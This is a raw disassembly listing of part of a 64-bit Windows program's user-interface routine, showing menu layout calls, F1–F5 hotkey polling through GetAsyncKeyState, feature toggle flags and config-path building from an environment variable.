addss xmm0, dword [0x7ff754bfb96c]
movss dword [rax + 0xf8], xmm1
movss dword [rax + 0xfc], xmm0
call fcn.7ff754ab61e0
cmp dword [0x7ff754c1f868], 0
lea r9, [rbp + 0xd8]
lea r8, [0x7ff754bfb170]
mov dword [rbp + 0xd8], 0x431d0000
sete cl
mov dword [rbp + 0xdc], 0x420c0000
lea rdx, [0x7ff754bed6a8]
call fcn.7ff754acd9f0
mov ecx, dword [0x7ff754c1f868]
lea r9, [rbp + 0xe0]
test al, al
mov dword [rbp + 0xe0], 0x431d0000
lea r8, [0x7ff754bfb180]
mov dword [rbp + 0xe4], 0x420c0000
cmovne ecx, r12d
lea rdx, [0x7ff754bed6a4]
cmp ecx, 1
mov dword [0x7ff754c1f868], ecx
sete cl
call fcn.7ff754acd9f0
mov ecx, dword [0x7ff754c1f868]
test al, al
mov dword [rbp + 0xe8], 0x431d0000
cmovne ecx, r13d
mov dword [rbp + 0xec], 0x420c0000
cmp ecx, 2
mov dword [0x7ff754c1f868], ecx
sete cl
lea r9, [rbp + 0xe8]
lea r8, [0x7ff754bfb190]
lea rdx, [0x7ff754bed6ac]
call fcn.7ff754acd9f0
mov ecx, dword [0x7ff754c1f868]
lea r9, [rbp + 0xf0]
test al, al
mov dword [rbp + 0xf0], 0x431d0000
mov eax, 2
mov dword [rbp + 0xf4], 0x420c0000
cmovne ecx, eax
lea r8, [0x7ff754bfb1a0]
cmp ecx, 3
mov dword [0x7ff754c1f868], ecx
lea rdx, [0x7ff754bed6bc]
sete cl
call fcn.7ff754acd9f0
mov ecx, dword [0x7ff754c1f868]
lea r9, [rbp + 0xf8]
test al, al
mov dword [rbp + 0xf8], 0x431d0000
mov eax, 3
mov dword [rbp + 0xfc], 0x420c0000
cmovne ecx, eax
lea r8, [0x7ff754bfb1b0]
cmp ecx, 4
mov dword [0x7ff754c1f868], ecx
lea rdx, [0x7ff754bed6b0]
sete cl
call fcn.7ff754acd9f0
mov ecx, dword [0x7ff754c1f868]
lea rdx, [rbp + 0x100]
test al, al
mov dword [rbp + 0x100], 0x44400000
mov eax, 4
mov dword [rbp + 0x104], 0x43e60000
cmovne ecx, eax
mov dword [0x7ff754c1f868], ecx
lea rcx, [0x7ff754bebd5a]
call fcn.7ff754aac020
mov rcx, qword [0x7ff754c40c70]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0xf
jb 0x7ff754aed2f3
cmp qword [0x7ff754c40c78], 0x10
lea rax, [0x7ff754c40c60]
mov qword [rsp + 0x30], rcx
lea r9, [0x7ff754bfb1c0]
cmovae rax, qword [0x7ff754c40c60]
lea r8, [0x7ff754c40c60]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x5a8]
mov eax, 0xf
movzx edx, sil
mov qword [rsp + 0x20], rax
call fcn.7ff754ad7d20
call qword [sym.imp.ucrtbase.dll__errno]
cmp qword [0x7ff754c40d30], 0x10
lea r15, [0x7ff754c40d18]
mov r12, rax
lea rdx, [rbp + 0x348]
cmovae r15, qword [0x7ff754c40d18]
xor eax, eax
mov rcx, r15
mov dword [r12], eax
lea r8d, [rax + 0xa]
call qword [sym.imp.ucrtbase.dll_strtol]
cmp r15, qword [rbp + 0x348]
je 0x7ff754aed00e
cmp dword [r12], 0x22
je 0x7ff754aed000
cdqe
lea rcx, [rbp + 0x350]
mov qword [rbp + 0x350], rax
call qword [sym.imp.ucrtbase.dll__localtime64]
lea r8, [0x7ff754bfb1d0]
mov edx, 0x50
mov r9, rax
lea rcx, [rbp + 0x1020]
call qword [sym.imp.ucrtbase.dll_strftime]
xor r12d, r12d
lea rax, [rbp + 0x1020]
xorps xmm0, xmm0
mov qword [rbp - 0x80], r12
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x78], r12
mov r15, 0xffffffffffffffff
inc r15
cmp byte [rax + r15], r12b
jne 0x7ff754aeb763
movabs rcx, 0x7fffffffffffffff
cmp r15, rcx
ja 0x7ff754aed2f3
mov eax, 0xf
mov qword [rbp - 0x78], rax
cmp r15, 0x10
jae 0x7ff754aeb7b0
mov r8, r15
mov qword [rbp - 0x80], r15
lea rdx, [rbp + 0x1020]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + r15 + 0x70], r12b
jmp 0x7ff754aeb84f
mov r13, r15
or r13, rax
cmp r13, rcx
jbe 0x7ff754aeb7ce
movabs rax, 0x8000000000000000
mov r13, rcx
add rax, 0x27
jmp 0x7ff754aeb7f5
cmp r13, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
cmp rcx, 0x1000
jb 0x7ff754aeb815
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x7ff754aed30b
mov rcx, rax
call fcn.7ff754bbacf4
test rax, rax
je 0x7ff754aecff2
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x7ff754aeb822
test rcx, rcx
je 0x7ff754aeb822
call fcn.7ff754bbacf4
mov r12, rax
mov r8, r15
mov qword [rsp + 0x70], r12
lea rdx, [rbp + 0x1020]
mov qword [rbp - 0x80], r15
mov rcx, r12
mov qword [rbp - 0x78], r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12 + r15], 0
mov r13d, 1
xor r12d, r12d
cmp qword [rbp + 0x5c0], 0x10
lea rcx, [rbp + 0x5a8]
cmovae rcx, qword [rbp + 0x5a8]
call fcn.7ff754acd060
cmp qword [rbp - 0x78], 0x10
lea rcx, [rsp + 0x70]
cmovae rcx, qword [rsp + 0x70]
call fcn.7ff754acd060
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x7ff754aeb8bc
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aeb8b7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecff2
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x5c0]
mov r15d, 0xf
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r15
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x7ff754aeb910
mov rcx, qword [rbp + 0x5a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aeb90b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecff2
call fcn.7ff754bbb050
call fcn.7ff754aac130
movzx eax, word [0x7ff754bfb1e0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x608], xmm0
mov word [rbp + 0x608], ax
mov byte [rbp + 0x60a], 0
mov qword [rbp + 0x620], r15
call fcn.7ff754ab6330
mov ecx, r13d
call fcn.7ff754aa4ba0
mov eax, dword [0x7ff754c1f860]
mov r12d, dword [0x7ff754c1f868]
cmp r12d, eax
jne 0x7ff754aeb960
movaps xmm6, xmm12
jmp 0x7ff754aeb964
movaps xmm6, xmm10
mov r15, qword [0x7ff754c1f830]
test r15, r15
jne 0x7ff754aeb99e
mov r8d, 0xfd8
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov eax, dword [0x7ff754c1f860]
mov r12d, dword [0x7ff754c1f868]
mov r15, qword [0x7ff754c1f830]
movss xmm8, dword [r15 + 0x18]
movaps xmm0, xmm8
mulss xmm0, xmm14
mulss xmm0, xmm6
addss xmm0, dword [0x7ff754c1f87c]
comiss xmm9, xmm0
jbe 0x7ff754aeb9c5
movaps xmm6, xmm9
jmp 0x7ff754aeb9cd
movaps xmm6, xmm12
minss xmm6, xmm0
movss dword [0x7ff754c1f87c], xmm6
cmp r12d, eax
jne 0x7ff754aeb9e0
movaps xmm7, xmm12
jmp 0x7ff754aeb9e4
movaps xmm7, xmm10
movaps xmm0, xmm15
call sub.ucrtbase.dll_roundf
mulss xmm0, xmm8
mulss xmm0, xmm7
addss xmm0, dword [0x7ff754c1f888]
comiss xmm9, xmm0
jbe 0x7ff754aeba0a
movaps xmm1, xmm9
jmp 0x7ff754aeba12
movaps xmm1, xmm12
minss xmm1, xmm0
ucomiss xmm6, xmm9
movss dword [0x7ff754c1f888], xmm1
jp 0x7ff754aeba31
jne 0x7ff754aeba31
ucomiss xmm1, xmm9
jp 0x7ff754aeba31
jne 0x7ff754aeba31
mov dword [0x7ff754c1f860], r12d
mov rax, qword [r15 + 0x3ea0]
lea rcx, [r15 + 0x47f8]
lea rdx, [rbp + 0x398]
mov byte [rax + 0xb0], 1
mov rax, qword [r15 + 0x3ea0]
movss xmm6, dword [0x7ff754c1f87c]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
movss xmm1, dword [rax + 0x18]
subss xmm1, dword [rax + 0x7c]
mov byte [rax + 0x139], 1
addss xmm0, dword [0x7ff754bfb970]
addss xmm1, xmm13
movss dword [rax + 0xfc], xmm0
movss dword [rax + 0xf8], xmm1
mov rax, qword [rbp + 0x108]
movss xmm0, dword [r15 + 0x37e0]
movss dword [rbp + 0x39c], xmm0
mulss xmm6, dword [rax + 0x37e0]
xor eax, eax
mov dword [rbp + 0x398], eax
call fcn.7ff754abe770
mov ecx, 0x70
movss dword [r15 + 0x37e0], xmm6
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
lea r12, [0x7ff754bed70c]
jae 0x7ff754aebafe
movsxd rax, dword [0x7ff754c555f8]
lea rcx, [0x7ff754c1c660]
cmp qword [rcx + rax*8], r12
je 0x7ff754aebb85
mov ecx, 0x71
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebb2b
movsxd rax, dword [0x7ff754c555f8]
lea rcx, [0x7ff754bed710]
lea rdx, [0x7ff754c1c660]
cmp qword [rdx + rax*8], rcx
je 0x7ff754aebb85
mov ecx, 0x72
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebb58
movsxd rax, dword [0x7ff754c555f8]
lea rcx, [0x7ff754bed714]
lea rdx, [0x7ff754c1c660]
cmp qword [rdx + rax*8], rcx
je 0x7ff754aebb85
mov ecx, 0x73
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebba5
movsxd rax, dword [0x7ff754c555f8]
lea rcx, [0x7ff754bed718]
lea rdx, [0x7ff754c1c660]
cmp qword [rdx + rax*8], rcx
jne 0x7ff754aebba5
cmp byte [0x7ff754c1f946], 0
jne 0x7ff754aebbac
cmp byte [0x7ff754c1f993], 0
mov byte [0x7ff754c1f946], 1
sete byte [0x7ff754c1f993]
jmp 0x7ff754aebbac
mov byte [0x7ff754c1f946], 0
mov ecx, 0x70
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebbd6
movsxd rax, dword [0x7ff754c555fc]
lea rcx, [0x7ff754c1c6c0]
cmp qword [rcx + rax*8], r12
je 0x7ff754aebc5d
mov ecx, 0x71
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebc03
movsxd rax, dword [0x7ff754c555fc]
lea rcx, [0x7ff754bed710]
lea rdx, [0x7ff754c1c6c0]
cmp qword [rdx + rax*8], rcx
je 0x7ff754aebc5d
mov ecx, 0x72
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebc30
movsxd rax, dword [0x7ff754c555fc]
lea rcx, [0x7ff754bed714]
lea rdx, [0x7ff754c1c6c0]
cmp qword [rdx + rax*8], rcx
je 0x7ff754aebc5d
mov ecx, 0x73
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebc7d
movsxd rax, dword [0x7ff754c555fc]
lea rcx, [0x7ff754bed718]
lea rdx, [0x7ff754c1c6c0]
cmp qword [rdx + rax*8], rcx
jne 0x7ff754aebc7d
cmp byte [0x7ff754c1f879], 0
jne 0x7ff754aebc84
cmp byte [0x7ff754c1f947], 0
mov byte [0x7ff754c1f879], 1
sete byte [0x7ff754c1f947]
jmp 0x7ff754aebc84
mov byte [0x7ff754c1f879], 0
mov ecx, 0x70
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebcae
movsxd rax, dword [0x7ff754c555e8]
lea rcx, [0x7ff754c1c720]
cmp qword [rcx + rax*8], r12
je 0x7ff754aebd35
mov ecx, 0x71
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebcdb
movsxd rax, dword [0x7ff754c555e8]
lea rcx, [0x7ff754bed710]
lea rdx, [0x7ff754c1c720]
cmp qword [rdx + rax*8], rcx
je 0x7ff754aebd35
mov ecx, 0x72
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebd08
movsxd rax, dword [0x7ff754c555e8]
lea rcx, [0x7ff754bed714]
lea rdx, [0x7ff754c1c720]
cmp qword [rdx + rax*8], rcx
je 0x7ff754aebd35
mov ecx, 0x73
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebd55
movsxd rax, dword [0x7ff754c555e8]
lea rcx, [0x7ff754bed718]
lea rdx, [0x7ff754c1c720]
cmp qword [rdx + rax*8], rcx
jne 0x7ff754aebd55
cmp byte [0x7ff754c1f880], 0
jne 0x7ff754aebd5c
cmp byte [0x7ff754c1f996], 0
mov byte [0x7ff754c1f880], 1
sete byte [0x7ff754c1f996]
jmp 0x7ff754aebd5c
mov byte [0x7ff754c1f880], 0
mov ecx, 0x70
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebd86
movsxd rax, dword [0x7ff754c555f4]
lea rcx, [0x7ff754c1c690]
cmp qword [rcx + rax*8], r12
je 0x7ff754aebe0d
mov ecx, 0x71
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebdb3
movsxd rax, dword [0x7ff754c555f4]
lea rcx, [0x7ff754bed710]
lea rdx, [0x7ff754c1c690]
cmp qword [rdx + rax*8], rcx
je 0x7ff754aebe0d
mov ecx, 0x72
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebde0
movsxd rax, dword [0x7ff754c555f4]
lea rcx, [0x7ff754bed714]
lea rdx, [0x7ff754c1c690]
cmp qword [rdx + rax*8], rcx
je 0x7ff754aebe0d
mov ecx, 0x73
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebe2d
movsxd rax, dword [0x7ff754c555f4]
lea rcx, [0x7ff754bed718]
lea rdx, [0x7ff754c1c690]
cmp qword [rdx + rax*8], rcx
jne 0x7ff754aebe2d
cmp byte [0x7ff754c1f87a], 0
jne 0x7ff754aebe34
cmp byte [0x7ff754c1f991], 0
mov byte [0x7ff754c1f87a], 1
sete byte [0x7ff754c1f991]
jmp 0x7ff754aebe34
mov byte [0x7ff754c1f87a], 0
mov ecx, 0x70
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebe5e
movsxd rax, dword [0x7ff754c555ec]
lea rcx, [0x7ff754c1c6f0]
cmp qword [rcx + rax*8], r12
je 0x7ff754aebefd
mov ecx, 0x71
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
lea r12, [0x7ff754c1c6f0]
jae 0x7ff754aebe8b
movsxd rax, dword [0x7ff754c555ec]
lea rcx, [0x7ff754bed710]
cmp qword [r12 + rax*8], rcx
je 0x7ff754aebefd
mov ecx, 0x72
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebeb1
movsxd rax, dword [0x7ff754c555ec]
lea rcx, [0x7ff754bed714]
cmp qword [r12 + rax*8], rcx
je 0x7ff754aebefd
mov ecx, 0x73
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebed7
movsxd rax, dword [0x7ff754c555ec]
lea rcx, [0x7ff754bed718]
cmp qword [r12 + rax*8], rcx
je 0x7ff754aebefd
mov ecx, 0x74
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebf1d
movsxd rax, dword [0x7ff754c555ec]
lea rcx, [0x7ff754bed71c]
cmp qword [r12 + rax*8], rcx
jne 0x7ff754aebf1d
cmp byte [0x7ff754c1f85e], 0
jne 0x7ff754aebf24
cmp byte [0x7ff754c1f995], 0
mov byte [0x7ff754c1f85e], 1
sete byte [0x7ff754c1f995]
jmp 0x7ff754aebf24
mov byte [0x7ff754c1f85e], 0
mov ecx, 0x70
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
lea r12, [0x7ff754c1d2e8]
jae 0x7ff754aebf55
movsxd rax, dword [0x7ff754c555f0]
lea rcx, [0x7ff754bed70c]
cmp qword [r12 + rax*8], rcx
je 0x7ff754aebfed
mov ecx, 0x71
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebf7b
movsxd rax, dword [0x7ff754c555f0]
lea rcx, [0x7ff754bed710]
cmp qword [r12 + rax*8], rcx
je 0x7ff754aebfed
mov ecx, 0x72
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebfa1
movsxd rax, dword [0x7ff754c555f0]
lea rcx, [0x7ff754bed714]
cmp qword [r12 + rax*8], rcx
je 0x7ff754aebfed
mov ecx, 0x73
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aebfc7
movsxd rax, dword [0x7ff754c555f0]
lea rcx, [0x7ff754bed718]
cmp qword [r12 + rax*8], rcx
je 0x7ff754aebfed
mov ecx, 0x74
call qword [sym.imp.user32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x7ff754aec00d
movsxd rax, dword [0x7ff754c555f0]
lea rcx, [0x7ff754bed71c]
cmp qword [r12 + rax*8], rcx
jne 0x7ff754aec00d
cmp byte [0x7ff754c1f877], 0
jne 0x7ff754aec014
cmp byte [0x7ff754c1f994], 0
mov byte [0x7ff754c1f877], 1
sete byte [0x7ff754c1f994]
jmp 0x7ff754aec014
mov byte [0x7ff754c1f877], 0
mov eax, dword [0x7ff754c1f860]
test eax, eax
jne 0x7ff754aec24e
call fcn.7ff754ab61e0
lea rdx, [rbp + 0x110]
mov dword [rbp + 0x110], 0x440e0000
lea rcx, [0x7ff754bfb1e8]
mov dword [rbp + 0x114], 0x43e28000
call fcn.7ff754aac020
lea rdx, [0x7ff754c1f8fd]
lea rcx, [0x7ff754bfb1f8]
call fcn.7ff754acfde0
test al, al
je 0x7ff754aec1f0
cmp byte [0x7ff754c1f8fd], 0
je 0x7ff754aec133
cmp byte [0x7ff754c1f88c], 0
jne 0x7ff754aec1f0
lea rdx, [0x7ff754bfb210]
mov byte [0x7ff754c1f88c], 1
lea rcx, [rbp + 0xbe0]
mov byte [0x7ff754c1f86c], 1
call fcn.7ff754ad7430
lea rcx, [0x7ff754bfb278]
call qword [sym.imp.ucrtbase.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0xbc0]
call fcn.7ff754ad7430
lea r8, [rbp + 0xbc0]
lea rdx, [0x7ff754bfadd8]
lea rcx, [rbp + 0xe70]
call fcn.7ff754af0840
mov rdx, rax
lea r8, [0x7ff754bfb288]
lea rcx, [rbp + 0xba0]
call fcn.7ff754af08b0
lea rcx, [rbp + 0xe70]
call fcn.7ff754ad7340
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0xbe0]
call fcn.7ff754ae4240
lea rcx, [rbp + 0xba0]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xbc0]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xbe0]
jmp 0x7ff754aec1eb
cmp byte [0x7ff754c1f86c], 0
mov byte [0x7ff754c1f88c], 0
je 0x7ff754aec1f0
lea rdx, [0x7ff754bfb2a0]
mov byte [0x7ff754c1f86c], 0
lea rcx, [rbp + 0xc40]
call fcn.7ff754ad7430
lea rcx, [0x7ff754bfb278]
call qword [sym.imp.ucrtbase.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0xc20]
call fcn.7ff754ad7430
lea r8, [rbp + 0xc20]
lea rdx, [0x7ff754bfadd8]
lea rcx, [rbp + 0x1000]
call fcn.7ff754af0840
mov rdx, rax
lea r8, [0x7ff754bfb308]
lea rcx, [rbp + 0xc00]
call fcn.7ff754af08b0
lea rcx, [rbp + 0x1000]
call fcn.7ff754ad7340
lea rdx, [rbp + 0xc00]
lea rcx, [rbp + 0xc40]
call fcn.7ff754ae4240
lea rcx, [rbp + 0xc00]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xc20]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xc40]
call fcn.7ff754ad7340
lea rdx, [0x7ff754c1f8ff]
lea rcx, [0x7ff754bfb320]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f99f]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f870], 0
mov byte [0x7ff754c1f99f], cl
je 0x7ff754aecde8
lea rdx, [0x7ff754c1f941]
lea rcx, [0x7ff754bfb338]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f9a0]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f9a0], cl
jmp 0x7ff754aecde8
cmp eax, 1
jne 0x7ff754aec626
call fcn.7ff754ab61e0
lea rdx, [rbp + 0x118]
mov dword [rbp + 0x118], 0x43900000
lea rcx, [0x7ff754bfb350]
mov dword [rbp + 0x11c], 0x43e28000
call fcn.7ff754aac020
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aec2a2
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec2a2
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec34a
lea rdx, [0x7ff754c1f8a3]
lea rcx, [0x7ff754bfb360]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f864]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f864], cl
jne 0x7ff754aec2e3
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec2e3
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec34a
lea rdx, [0x7ff754c1f8fe]
lea rcx, [0x7ff754bfb370]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f99d]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f99d], cl
jne 0x7ff754aec324
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec324
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec34a
lea rdx, [0x7ff754c1f8aa]
lea rcx, [0x7ff754bfb380]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f873]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f873], cl
lea rdx, [rbp + 0x120]
mov dword [rbp + 0x120], 0x43900000
lea rcx, [0x7ff754bfb398]
mov dword [rbp + 0x124], 0x43e28000
call fcn.7ff754aac020
movzx eax, byte [0x7ff754c1f870]
test al, al
je 0x7ff754aec3a9
lea rdx, [0x7ff754c1f8fb]
lea rcx, [0x7ff754bfb3a8]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f998]
test al, al
movzx eax, byte [0x7ff754c1f870]
cmovne ecx, r13d
mov byte [0x7ff754c1f998], cl
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aec3c2
test al, al
jne 0x7ff754aec3c2
cmp byte [0x7ff754c1f99c], al
je 0x7ff754aec461
lea rdx, [0x7ff754c1f8f3]
lea rcx, [0x7ff754bfb3c0]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f886]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f886], cl
jne 0x7ff754aec403
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec403
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec461
lea rdx, [0x7ff754c1f8ac]
lea rcx, [0x7ff754bfb3d0]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f875]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f875], cl
jne 0x7ff754aec43b
cmp byte [0x7ff754c1f870], 0
je 0x7ff754aec461
lea rdx, [0x7ff754c1f89e]
lea rcx, [0x7ff754bfb3e0]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f829]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f829], cl
call fcn.7ff754aac130
call fcn.7ff754aac130
call fcn.7ff754ab6330
movaps xmm1, xmm10
movaps xmm0, xmm9
call fcn.7ff754ab5fa0
call fcn.7ff754ab61e0
lea rdx, [rbp + 0x128]
mov dword [rbp + 0x128], 0x43900000
lea rcx, [0x7ff754bfb3f8]
mov dword [rbp + 0x12c], 0x43e28000
call fcn.7ff754aac020
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aec4c4
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec4c4
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec4ea
lea rdx, [0x7ff754c1f8ad]
lea rcx, [0x7ff754bfb408]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f878]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f878], cl
lea rdx, [rbp + 0x130]
mov dword [rbp + 0x130], 0x43900000
lea rcx, [0x7ff754bfb420]
mov dword [rbp + 0x134], 0x43e28000
call fcn.7ff754aac020
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aec52c
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec52c
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec552
lea rdx, [0x7ff754c1f8af]
lea rcx, [0x7ff754bfb430]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f882]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f882], cl
lea rdx, [0x7ff754c1f8a2]
lea rcx, [0x7ff754bfb448]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f85f]
test al, al
movzx eax, byte [0x7ff754c1f870]
cmovne ecx, r13d
mov byte [0x7ff754c1f85f], cl
test al, al
je 0x7ff754aec5e1
lea rdx, [0x7ff754c1f8a0]
lea rcx, [0x7ff754bfb458]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f859]
test al, al
movzx eax, byte [0x7ff754c1f870]
cmovne ecx, r13d
mov byte [0x7ff754c1f859], cl
test al, al
je 0x7ff754aec5e1
lea rdx, [0x7ff754c1f8fc]
lea rcx, [0x7ff754bfb470]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f999]
test al, al
movzx eax, byte [0x7ff754c1f870]
cmovne ecx, r13d
mov byte [0x7ff754c1f999], cl
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aec5fa
test al, al
jne 0x7ff754aec5fa
cmp byte [0x7ff754c1f99c], al
je 0x7ff754aecca4
lea rdx, [0x7ff754c1f89f]
lea rcx, [0x7ff754bfb480]
call fcn.7ff754acfde0
test al, al
je 0x7ff754aecca4
mov byte [0x7ff754c1f82a], 1
call fcn.7ff754aac130
jmp 0x7ff754aecde8
cmp eax, 2
jne 0x7ff754aecaa3
call fcn.7ff754ab61e0
lea rdx, [rbp + 0x138]
mov dword [rbp + 0x138], 0x43900000
lea rcx, [0x7ff754bfb490]
mov dword [rbp + 0x13c], 0x43200000
call fcn.7ff754aac020
lea rdx, [0x7ff754c1f992]
lea rcx, [0x7ff754bfb4a8]
call fcn.7ff754acfde0
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aec68d
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec68d
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec735
lea rdx, [0x7ff754c1f8a9]
lea rcx, [0x7ff754bfb4b8]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f871]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f871], cl
jne 0x7ff754aec6ce
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec6ce
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec735
lea rdx, [0x7ff754c1f8ae]
lea rcx, [0x7ff754bfb4d0]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f87b]
test al, al
cmovne ecx, r13d
cmp byte [0x7ff754c1f86f], 0
mov byte [0x7ff754c1f87b], cl
jne 0x7ff754aec70f
cmp byte [0x7ff754c1f870], 0
jne 0x7ff754aec70f
cmp byte [0x7ff754c1f99c], 0
je 0x7ff754aec735
lea rdx, [0x7ff754c1f8f9]
lea rcx, [0x7ff754bfb4e0]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f944]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f944], cl
lea rdx, [0x7ff754c1f8a8]
lea rcx, [0x7ff754bfb4f0]
call fcn.7ff754acfde0
movzx ecx, byte [0x7ff754c1f86e]
test al, al
cmovne ecx, r13d
mov byte [0x7ff754c1f86e], cl
call fcn.7ff754aac130
lea rdx, [rbp + 0x140]
mov dword [rbp + 0x140], 0x43900000
lea rcx, [0x7ff754bfb500]
mov dword [rbp + 0x144], 0x43e28000
call fcn.7ff754aac020
cmp byte [0x7ff754c1f86f], 0
jne 0x7ff754aec7a6
cmp byte [0x7ff754c1f870], 0
